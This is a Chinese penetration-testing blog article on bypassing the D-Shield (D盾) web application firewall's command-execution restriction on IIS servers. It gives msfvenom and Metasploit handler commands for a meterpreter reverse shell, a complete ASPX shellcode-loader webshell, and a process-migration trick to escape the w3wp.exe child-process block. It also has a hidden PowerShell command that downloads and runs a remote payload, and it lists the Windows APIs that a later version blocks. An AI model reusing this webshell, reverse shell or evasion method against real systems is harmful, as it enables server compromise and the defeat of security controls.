D盾防火墙防护绕过-[命令执行限制]
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
|
0x01 测试环境
操作系统:Windows Server 2008 R2 x64
软件版本:D盾v2.1.4.4[测试版]
进程名称:d_manage.exe[D盾服务程序]、D_Safe_Manage.exe[D盾管理程序]
服务名称:d_safe[D盾_服务程序(提供网站和服务器安全服务)]
0x02 功能介绍
D盾防火墙的“命令执行限制”是通过多种方式来进行限制的,【组件限制】是通过禁止调用wscript.shell、shell.application组件来限制执行命令。
而【执行限制】是通过禁止在w3wp.exe进程下创建子进程来限制执行命令和程序,这样能够有效防止入侵者在提权时执行命令和危险程序等。
w3wp.exe是IIS与应用池相关联进程,Webshell执行命令和程序时都会在w3wp.exe下创建子进程,而D盾不允许在w3wp.exe下创建子进程,所以在执行命令、脚本、程序时都会被拦截,提示:拒绝访问。
0x03 解决方案
使用msfvenom命令生成csharp shellcode,将shellcode替换至intosec-shellcode.aspx脚本的codeBytes处,接着我们在handler监听模块里配置好相关选项,执行监听。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f csharp
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 443
exploit
将替换好的intosec-shellcode.aspx脚本上传至目标网站Web目录下,通过浏览器访问该脚本文件即可得到目标主机Meterpreter会话,但还是不能直接执行命令,那么要如何绕过呢?
这里我们可以利用进程注入的方式来绕过,首先加载powershell扩展,使用powershell_shell命令进入交互模式下执行powershell得到一个x64的conhost.exe进程来进行当前会话的进程迁移。其实只要随便执行一条命令即可,然后再Ctrl+C强制结束就会有conhost.exe
为什么要执行以上操作?因为在这种场景下当前权限运行的进程只有w3wp.exe,没有其它同权限进程用于进程迁移,所以只能利用powershell扩展得到个conhost.exe进程用于执行迁移。
如果遇到执行powershell但并没有conhost.exe进程的情况,可能是需要多执行几次才会有。
通过上图可以看到已经成功利用powershell扩展得到一个PID为4156的conhost.exe进程,这时就可以利用migrate命令将当前会话进程w3wp.exe迁移到conhost.exe进程。
然后再去执行shell命令时发现已经成功的绕过了D盾防火墙的【执行限制】,这时可以看到已经可以正常的执行系统命令、脚本和程序了。
注意事项:
这种方式是将shellcode加载到w3wp.exe内存中运行,但非常容易造成IIS应用程序池崩溃,访问网站出现503报错,所以还请谨慎使用。
而且获取的会话经常会断开,不适合运行在w3wp.exe、conhost.exe,所以还是得在绕过D盾防火墙的【执行限制】后再单独运行一个Payload。
powershell.exe -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $x.downloadstring('http://192.168.1.120:8080/CEE8ABRRXl');
为什么不用msfvenom生成的aspx脚本呢?因为D盾防火墙的“脚本安全性检测”会拦截,或者在访问时会出现下图提示:无法在DLL“kernel32”中找到名为“CreateThread”的入口点,这是因为D盾禁止并拦截了这个API(kernel32.dll CreateThread)。
intosec-shellcode.aspx:
<%@ Import Namespace=”System” %>
<%@ Import Namespace=”System.Runtime.InteropServices” %>
<script runat=”server”>
delegate int revtcp();
protected void Page_Load(object sender, EventArgs e)
{
byte[] codeBytes = {
Insert Shellcode Here };
IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
revtcp msfpayload
= Marshal.GetDelegateForFunctionPointer(handle, typeof(revtcp)) as revtcp;
msfpayload();
}
finally
{
VirtualFree(handle, 0, MEM_RELEASE);
}
}
//Windows API
[DllImport(“Kernel32.dll”, EntryPoint = “VirtualAlloc”)]
public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
[DllImport(“Kernel32.dll”, EntryPoint = “VirtualFree”)]
public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
//flags
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>
0x04 D盾 v.2.6.1.3(2022/4)
这个版本的D盾防火墙拦截了kernel32.dll的以下几个API函数。msf-shellcode.aspx、intosec-shellcode.aspx脚本的VirtualAlloc,哥斯拉Csharp马连接时的LoadLibraryW。
CreateThread
VirtualAlloc
LoadLibraryA
LoadLibraryW
......
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4386.html